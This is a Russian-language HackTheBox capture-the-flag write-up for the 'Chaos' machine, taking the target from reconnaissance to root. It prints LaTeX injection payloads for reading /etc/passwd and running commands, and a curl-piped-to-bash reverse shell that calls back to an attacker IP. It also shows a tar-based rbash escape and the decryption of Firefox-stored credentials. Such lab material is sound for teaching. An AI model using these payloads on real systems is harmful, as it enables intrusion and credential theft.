> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md).

# Разбор HackTheBox Chaos

{% embed url="<https://app.hackthebox.com/machines/Chaos>" %}

{% hint style="warning" %}
**Навыки:**

* Подбор пароля
* Злоупотребление почтовым сервисом (claws-mail)
* Криптозадача (Расшифровать секретное сообщение — зашифровано AES)
* Инъекция LaTeX (RCE)
* Обход rbash (ограниченный Bash)
* Извлечение учетных данных из профиля Firefox
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/eb757708d1d1bc26c47e1f5964a11097ae67117d" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/0443e1eba2251af60358b3e381264867789a6c3b" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvvv 10.10.10.120 -oG allPorts
```

<figure><img src="/files/b68eb32c057b61a9817121c41c510abb2c7cf537" alt=""><figcaption></figcaption></figure>

**Анализ открытых портов с ExtractPorts (**&#x38;0.110,143.993.995,10000)

Используйте функцию extractPorts, чтобы отобразить открытые порты в кратком формате и скопировать их в буфер обмена.

<figure><img src="/files/8e3312506f9260f891771ee166c9d931e2f9b62f" alt="" width="563"><figcaption></figcaption></figure>

**Сканирование версий портов с Nmap:**

Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p80,110,143,993,995,10000 10.10.10.120 -oN targeted
```

<figure><img src="/files/e66b336d4a9d953ec458e5db08fd5e930909bcb1" alt=""><figcaption></figcaption></figure>

## **Эксплуатация**

#### **Порт 80 — перечисление веб-ресурсов**

Прямой доступ по IP заблокирован. Поэтому мы добавляем `chaos.htb` домен в `/etc/hosts`.

<figure><img src="/files/f7ab14063b9db2a02c129657c43761841458bf57" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b900aba12f3c1110694c9b946fa3720c30e0cfb2" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/2c2f8441d198ccc448d1bca71a39cddd9c416ab6" alt=""><figcaption></figcaption></figure>

#### **Перебор директорий**

```bash
gobuster dir -u http://chaos.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r
```

Результатов нет.

<figure><img src="/files/c00c86b8ee13956d46a934239e9400580f258318" alt=""><figcaption></figcaption></figure>

**Перебор через IP-адрес:**

```bash
gobuster dir -u http://10.10.10.120 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r
```

Мы находим папку `/wp` что указывает на WordPress.

<figure><img src="/files/22182b8e8966d2b92b97a1310807a7d2a830d799" alt=""><figcaption></figcaption></figure>

Добавьте `wordpress.chaos.htb` поддомен к `/etc/hosts`.

<figure><img src="/files/8d12f0ad5d18ea7a12b7fc1e54b277ff4b43593e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/541a82dbd210ec63a1ebc4a97e362bb67607d40c" alt="" width="563"><figcaption></figcaption></figure>

### **Перечисление WordPress**

<figure><img src="/files/16113452db422479c7ba6e2707cf2eed53f0af49" alt=""><figcaption></figcaption></figure>

Мы находим `Человек` пользователь на WordPress.

<figure><img src="/files/0e2ed77784166d7ff3b15d8cd269d9d29c1a4e41" alt=""><figcaption></figcaption></figure>

### **Подбор пароля**

В одной из статей WordPress содержится пароль. Мы проверяем `Человек` и это работает.

<figure><img src="/files/0e104cfe2aabbbebbe8fc29f581bb1e2b38630ae" alt=""><figcaption></figcaption></figure>

Мы находим учетные данные для веб-почты:

* **username**: ayush
* **пароль**: jiujitsu

## **Порты 993/995 — веб-почта**

Порт 993 указывает на почтовый сервер IMAP.

<figure><img src="/files/d2a50462b96f67a1a36f7079f78bd55e78bd6293" alt=""><figcaption></figcaption></figure>

Мы используем `claws-mail` для доступа к почтовому ящику Ayush.

```bash
claws-mail
```

<figure><img src="/files/4b6340d9824990e57f31fae484c0eaea2588bc77" alt="" width="415"><figcaption></figcaption></figure>

<figure><img src="/files/ee95c0c58f1381cc78fa757dd7569696a9f505c9" alt="" width="563"><figcaption></figcaption></figure>

В письме мы находим два прикрепленных файла и сообщение:

> Привет, Sahay
>
> Проверь файл enmsg.txt. Ты — пароль XD. Я также приложил скрипт, который использовал для шифрования. Спасибо.

<figure><img src="/files/9203502ff1a2e2cd56f8651fc5d6a1415d95c035" alt=""><figcaption></figcaption></figure>

## **Расшифровать секретное сообщение — зашифровано AES**

<figure><img src="/files/29d7f3bace6922dfaf5356cf0764b0818cfeb153" alt=""><figcaption></figcaption></figure>

Мы обнаружили `decrypt.py` скрипт на GitHub, который относится к тому же проекту

<figure><img src="/files/fdcdaeb537f1a55c43891bbedf616b56db08d140" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/vj0shii/File-Encryption-Script/blob/master/decrypt.py>" %}

#### При выполнении:

```bash
python3 decrypt.py
Enter filename: ./enim_msg.txt
Enter password: sahay
```

Содержимое декодируется с помощью `base64`:

<figure><img src="/files/29e23ba0db0827f4792d6c511eb75e24e15acd7a" alt=""><figcaption></figcaption></figure>

```bash
cat im_msg.txt | base64 -d; echo
```

Сообщение указывает на сервис LaTeX на `http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3`

> **Привет, Sahay,**
>
> Пожалуйста, исследуй наш новый сервис, который создает PDF.
>
> P.S. — Как ты советовал, я зашифровал важное сообщение.
>
> [http://chaos.htb/J00/\_w1ll/\_f1Nd/\_n07H1n9/\_H3r3](http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3)
>
> **Блокирующие механизмы**
>
> Спасибо, **Ayush**
>
> Спасибо, Ayush

<figure><img src="/files/f01e51907b194e65683058372d55c0649a61fd7c" alt=""><figcaption></figcaption></figure>

## **Уязвимость инъекции LaTeX**

### Инъекция LaTeX (чтение файла)

<figure><img src="/files/6c322e35af486da60a7139446639221d457f4cb3" alt=""><figcaption></figcaption></figure>

Мы перехватываем запрос

<figure><img src="/files/37ade4d6ef571d1d4b9fb2fea0fa648b9fa77405" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/988c96bfea3daac32aec2da90fccfc05404cccc7" alt=""><figcaption></figcaption></figure>

#### Документ PDF LaTeX:

<figure><img src="/files/547bb3321c012247768889fbc59fa05241d3f0fe" alt=""><figcaption></figcaption></figure>

Мы внедряем:

```latex
/input{/etc/passwd}
/include{password}
```

<figure><img src="/files/5f5c9e3c38d9d83821255c5952f19d373a756c2b" alt=""><figcaption></figcaption></figure>

### **Эксплуатация RCE в LaTeX**

Мы выполняем `id` команду через:

```latex
/immediate/write18{id > output}
/newread/file
/openin/file=output
/read/file to/line
/text{/line}
/closein/file
```

<figure><img src="/files/0c85c66573ab0aa62a7173189af959afe8e874cc" alt=""><figcaption></figcaption></figure>

#### **Обратная оболочка**

Мы слушаем порт 443:

```bash
nc -nvlp 443
```

Мы создаём `index.html` bash-скрипт:

```bash
 #!/bin/bash
 bash -i >& /dev/tcp/10.10.14.61/443 0>&1
```

Мы запускаем веб-сервер:

```bash
python3 -m http.server 80
```

Инъекция полезной нагрузки:

```latex
/immediate/write18{curl http://10.10.14.61 | bash > output}
/newread/file
/openin/file=output
/read/file to/line
/text{/line}
/closein/file
```

<figure><img src="/files/1d5d30af689708ecc336d7291bd346398fb1b58d" alt=""><figcaption></figcaption></figure>

## **Повышение привилегий**

### **Переход к пользователю Ayush — обход rbash**

Мы подключаемся как Ayush, но ограничены `rbash` оболочкой.

<figure><img src="/files/df051552a79a98f58e471f1e8c6ac8488ca06025" alt=""><figcaption></figcaption></figure>

Список доступных команд:

```bash
compgen -c
```

Мы находим `tar` и обходим `rbash` с помощью:

<figure><img src="/files/012680a991acc687aceacb950526ff09fe99925d" alt="" width="279"><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/tar/#shell>" %}

```bash
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec/bin/bash
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

<figure><img src="/files/2e1286600fa310968f8182d896a0ec708b02e7dd" alt=""><figcaption></figcaption></figure>

### Флаг user.txt :)

Мы получаем доступ к полноценной оболочке и восстанавливаем `user.txt`.

<figure><img src="/files/beccbac9f5b4f9890834cc8781f553aceb7bd432" alt="" width="449"><figcaption></figcaption></figure>

## **Извлечение учетных данных Firefox**

В `.mozilla` В папке Ayush мы находим `key4.db` и `logins.json`.

<figure><img src="/files/b0b53d9a7322308046d3286afaf34ad14ea03018" alt=""><figcaption></figcaption></figure>

Мы переносим их на нашу машину:

<figure><img src="/files/b8ab7cf1a41e7f98d2ce7e699a98370a77939108" alt=""><figcaption></figcaption></figure>

```bash
python3 -m http.server 8080
wget -r chaos.htb:8080
```

<figure><img src="/files/8f7e6b36cc8a7c33fae9c2b08a1671d9a4681f70" alt=""><figcaption></figcaption></figure>

Расшифровка идентификаторов с помощью `firefox_decrypt.py`:

{% embed url="<https://github.com/unode/firefox_decrypt>" %}

```bash
python3 firefox_decrypt.py chaos.htb:8080
```

Мы вводим `jiujitsu` в качестве основного пароля и получаем:

<figure><img src="/files/9ca6515d0744b64e4a0d6886c73f142848ee3552" alt=""><figcaption></figcaption></figure>

> Основной пароль для профиля chaos.htb:8080/bzo7sjt1.default
>
> Веб-сайт: <https://chaos.htb:10000>
>
> Имя пользователя: 'root' Пароль: 'Thiv8wrej/\~

Подключение root:

<figure><img src="/files/a7bfbe7434943d3667e190821c9ff22892125790" alt=""><figcaption></figcaption></figure>

### Флаг root.txt

<figure><img src="/files/622722e87c0a15dee02b902a523cd450d60bfa89" alt="" width="494"><figcaption></figcaption></figure>

<figure><img src="/files/a991306879bceab0b6e6d5a77ae8648caf2ba29e" alt="" width="343"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
